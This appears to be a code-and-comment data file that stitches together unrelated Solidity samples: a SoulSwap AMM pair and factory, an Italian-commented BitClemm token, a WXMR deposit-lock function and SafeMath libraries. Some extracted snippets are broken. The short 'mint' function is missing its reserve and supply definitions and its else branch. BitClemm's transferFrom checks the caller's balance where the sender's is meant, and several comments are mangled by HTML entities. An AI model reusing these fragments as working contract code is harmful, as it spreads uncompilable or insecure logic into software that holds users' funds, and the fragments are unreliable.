event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity >=0.5.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/SoulSwapERC20.sol
pragma solidity >=0.5.16;
contract SoulSwapERC20 is ISoulSwapERC20 {
using SafeMath for uint;
string public constant name = 'SoulSwap LP';
string public constant symbol = 'SOUL-LP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'SoulSwap: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'SoulSwap: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/interfaces/ISoulSwapCallee.sol
pragma solidity >=0.5.0;
interface ISoulSwapCallee {
function soulswapCall(
address sender,
uint amount0,
uint amount1,
bytes calldata data) external;
}
// File: contracts/interfaces/ISoulSwapPair.sol
pragma solidity >=0.5.0;
interface ISoulSwapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
// events
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed owner, address indexed spender, uint value);
// token details
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
// address details
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function getOwner() external view returns (address);
// token actions
function approve(address spender, uint value) external returns (bool);
function transfer(address recipient, uint value) external returns (bool);
function transferFrom(address sender, address recipient, uint value) external returns (bool);
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity >=0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IMigrator.sol
pragma solidity >=0.5.16;
interface IMigrator {
// Return the desired amount of liquidity token that the migrator wants.
function desiredLiquidity() external view returns (uint256);
}
// File: contracts/SoulSwapPair.sol
pragma solidity >=0.5.16;
contract SoulSwapPair is ISoulSwapPair, SoulSwapERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR =
bytes4(keccak256(bytes("transfer(address,uint256)")));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, "SoulSwap: LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
function getReserves()
public
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(
address token,
address to,
uint256 value
) private {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"SoulSwap: TRANSFER_FAILED"
);
}
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, "SoulSwap: FORBIDDEN"); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(
uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1
) private {
require(
balance0 <= uint112(-1) && balance1 <= uint112(-1),
"SoulSwap: OVERFLOW"
);
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast +=
uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) *
timeElapsed;
price1CumulativeLast +=
uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) *
timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1)
private
returns (bool feeOn)
{
address feeTo = ISoulSwapFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = SafeMath.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = SafeMath.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(3).add(rootKLast);
uint256 liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = SafeMath.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = SafeMath.min(
amount0.mul(_totalSupply) / _reserve0,
amount1.mul(_totalSupply) / _reserve1
);
}
require(liquidity > 0, "SoulSwap: INSUFFICIENT_LIQUIDITY_MINTED");
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint256 amount0, uint256 amount1) {
require(totalSupply != 0, "The value of totalSupply must not be 0");
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IERC20(_token0).balanceOf(address(this));
uint256 balance1 = IERC20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(
amount0 > 0 && amount1 > 0,
"SoulSwap: INSUFFICIENT_LIQUIDITY_BURNED"
);
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external lock {
require(
amount0Out > 0 || amount1Out > 0,
"SoulSwap: INSUFFICIENT_OUTPUT_AMOUNT"
);
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
require(
amount0Out < _reserve0 && amount1Out < _reserve1,
"SoulSwap: INSUFFICIENT_LIQUIDITY"
);
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, "SoulSwap: INVALID_TO");
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0)
ISoulSwapCallee(to).soulswapCall(
msg.sender,
amount0Out,
amount1Out,
data
);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint256 amount0In =
balance0 > _reserve0 - amount0Out
? balance0 - (_reserve0 - amount0Out)
: 0;
uint256 amount1In =
balance1 > _reserve1 - amount1Out
? balance1 - (_reserve1 - amount1Out)
: 0;
require(
amount0In > 0 || amount1In > 0,
"SoulSwap: INSUFFICIENT_INPUT_AMOUNT"
);
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(2));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(2));
require(
balance0Adjusted.mul(balance1Adjusted) >=
uint256(_reserve0).mul(_reserve1).mul(1000**2),
"SoulSwap: K"
);
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(
_token0,
to,
IERC20(_token0).balanceOf(address(this)).sub(reserve0)
);
_safeTransfer(
_token1,
to,
IERC20(_token1).balanceOf(address(this)).sub(reserve1)
);
}
// force reserves to match balances
function sync() external lock {
_update(
IERC20(token0).balanceOf(address(this)),
IERC20(token1).balanceOf(address(this)),
reserve0,
reserve1
);
}
}
// File: contracts/SoulSwapFactory.sol
pragma solidity >=0.5.16;
contract SoulSwapFactory is ISoulSwapFactory {
bytes32 public constant INIT_CODE_PAIR_HASH = keccak256(abi.encodePacked(type(SoulSwapPair).creationCode));
address public feeTo;
address public feeToSetter = msg.sender;
address public migrator;
uint256 public totalPairs = 0;
address[] public allPairs;
mapping(address => mapping(address => address)) public getPair;
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
event SetFeeTo(address indexed user, address indexed feeTo);
event SetMigrator(address indexed user, address indexed migrator);
event FeeToSetter(address indexed user, address indexed feeToSetter);
function createPair(address tokenA, address tokenB) external returns (address pair) {
require(tokenA != tokenB, 'SoulSwap: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'SoulSwap: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'SoulSwap: PAIR_EXISTS'); // single check is sufficient
bytes memory bytecode = type(SoulSwapPair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) }
SoulSwapPair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
totalPairs++;
emit PairCreated(token0, token1, pair, totalPairs);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == feeToSetter, 'SoulSwap: FORBIDDEN');
feeTo = _feeTo;
emit SetFeeTo(msg.sender, feeTo);
}
function setMigrator(address _migrator) external {
require(msg.sender == feeToSetter, 'SoulSwap: FORBIDDEN');
migrator = _migrator;
emit SetMigrator(msg.sender, migrator);
}
function setFeeToSetter(address _feeToSetter) external {
require(msg.sender == feeToSetter, 'SoulSwap: FORBIDDEN');
feeToSetter = _feeToSetter;
emit FeeToSetter(msg.sender, feeToSetter);
}
}
|
this low-level function should be called from a contract which performs important safety checks
|
function mint(address to) external lock returns (uint256 liquidity) {
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
if (_totalSupply == 0) {
liquidity = SafeMath.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
liquidity = SafeMath.min(
amount0.mul(_totalSupply) / _reserve0,
amount1.mul(_totalSupply) / _reserve1
);
}
require(liquidity > 0, "SoulSwap: INSUFFICIENT_LIQUIDITY_MINTED");
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
emit Mint(msg.sender, amount0, amount1);
}
| 6,689,328
|
pragma solidity ^0.4.13;
interface IERC20 {
function totalSupply() constant returns (uint totalSupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BitClemm is IERC20{
using SafeMath for uint256;
uint256 public _totalSupply = 0;
string public symbol = "BCM";//Simbolo del token es. ETH
string public constant name = "BitClemm"; //Nome del token es. Ethereum
uint256 public constant decimals = 3; //Numero di decimali del token, il bitcoin ne ha 8, ethereum 18
uint256 public MAX_SUPPLY = 180000000 * 10**decimals; //Numero massimo di token da emettere ( 1000 )
uint256 public TOKEN_TO_CREATOR = 9000000 * 10**decimals; //Token da inviare al creatore del contratto
uint256 public constant RATE = 1000; //Quanti token inviare per ogni ether ricevuto
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
//Funzione che permette di ricevere token solo specificando l'indirizzo
function() payable{
createTokens();
}
//Salviamo l'indirizzo del creatore del contratto per inviare gli ether ricevuti
function BitClemm(){
owner = msg.sender;
balances[msg.sender] = TOKEN_TO_CREATOR;
_totalSupply = _totalSupply.add(TOKEN_TO_CREATOR);
}
//Creazione dei token
function createTokens() payable{
//Controlliamo che gli ether ricevuti siano maggiori di 0
require(msg.value >= 0);
//Creiamo una variabile che contiene gli ether ricevuti moltiplicati per il RATE
uint256 tokens = msg.value.mul(10 ** decimals);
tokens = tokens.mul(RATE);
tokens = tokens.div(10 ** 18);
uint256 sum = _totalSupply.add(tokens);
require(sum <= MAX_SUPPLY);
//Aggiungiamo i token al bilancio di chi ci ha inviato gli ether ed aumentiamo la variabile totalSupply
balances[msg.sender] = balances[msg.sender].add(tokens);
_totalSupply = sum;
//Inviamo gli ether a chi ha creato il contratto
owner.transfer(msg.value);
}
//Ritorna il numero totale di token
function totalSupply() constant returns (uint totalSupply){
return _totalSupply;
}
//Ritorna il bilancio dell'utente di un indirizzo
function balanceOf(address _owner) constant returns (uint balance){
return balances[_owner];
}
//Per inviare i Token
function transfer(address _to, uint256 _value) returns (bool success){
//Controlliamo che chi voglia inviare i token ne abbia a sufficienza e che ne voglia inviare più di 0
require(
balances[msg.sender] >= _value
&& _value > 0
);
//Togliamo i token inviati dal suo bilancio
balances[msg.sender] = balances[msg.sender].sub(_value);
//Li aggiungiamo al bilancio del ricevente
balances[_to] = balances[_to].add(_value);
//Chiamiamo l evento transfer
Transfer(msg.sender, _to, _value);
return true;
}
//Invio dei token con delega
function transferFrom(address _from, address _to, uint256 _value) returns (bool success){
//Controlliamo che chi voglia inviare token da un indirizzo non suo abbia la delega per farlo, che
//l'account da dove vngono inviati i token abbia token a sufficienza e
//che i token inviati siano maggiori di 0
require(
allowed[_from][msg.sender] >= _value
&& balances[msg.sender] >= _value
&& _value > 0
);
//togliamo i token da chi li invia
balances[_from] = balances[_from].sub(_value);
//Aggiungiamoli al rcevente
balances[_to] = balances[_to].add(_value);
//Diminuiamo il valore dei token che il delegato può inviare in favore del delegante
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
//Chiamaiamo l'evento transfer
Transfer(_from, _to, _value);
return true;
}
//Delegare qualcuno all'invio di token
function approve(address _spender, uint256 _value) returns (bool success){
//Inseriamo l'indirizzo del delegato e il massimo che può inviare
allowed[msg.sender][_spender] = _value;
//Chiamiamo l'evento approval
Approval(msg.sender, _spender, _value);
return true;
}
//Ritorna il numero di token che un delegato può ancora inviare
function allowance(address _owner, address _spender) constant returns (uint remaining){
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
|
Delegare qualcuno all&39;invio di tokenInseriamo l&39;indirizzo del delegato e il massimo che pu&242; inviareChiamiamo l&39;evento approval
|
function approve(address _spender, uint256 _value) returns (bool success){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
| 15,403,732
|
./full_match/5/0x94571FA1995B3052302fd027CC7a3ABAca1Ab358/sources/browser/WXMR.sol
|
Function locking eth address to xmr address/check for collisions, shouldn't happenlock ethAddress with XmrAddresscollect security deposit for wrapLock to prevent abuse
|
function wrapAcquireLock() public payable whenNotMaintenance {
require(bytes(_addressLocks[_msgSender()]).length == 0, "ETH-XMR Lock");
require(
_minWrapSecDeposit == 0 || msg.value > _minWrapSecDeposit,
"Not enough deposit"
);
bytes memory xmrAddress = _addressHandler.getAddress();
require(_xmrIntAddrRegistry[xmrAddress] == false, "Collision");
_xmrIntAddrRegistry[xmrAddress] = true;
_addressLocks[_msgSender()] = xmrAddress;
uint256 amt = msg.value;
_wrapLockEscrow[_msgSender()] = amt;
if (amt > 0) emit Escrow(_msgSender(), amt);
emit WrapLock(_msgSender(), xmrAddress);
}
| 1,904,885
|
./full_match/137/0x2b7f5C0ae63365eb033bbC2e67821d3a6650986f/sources/contracts/helpers/EnsoShortcutsHelpers.sol
|
Returns the inverse bool/
|
function not(bool condition) external pure returns (bool) {
return !condition;
}
| 3,756,119
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
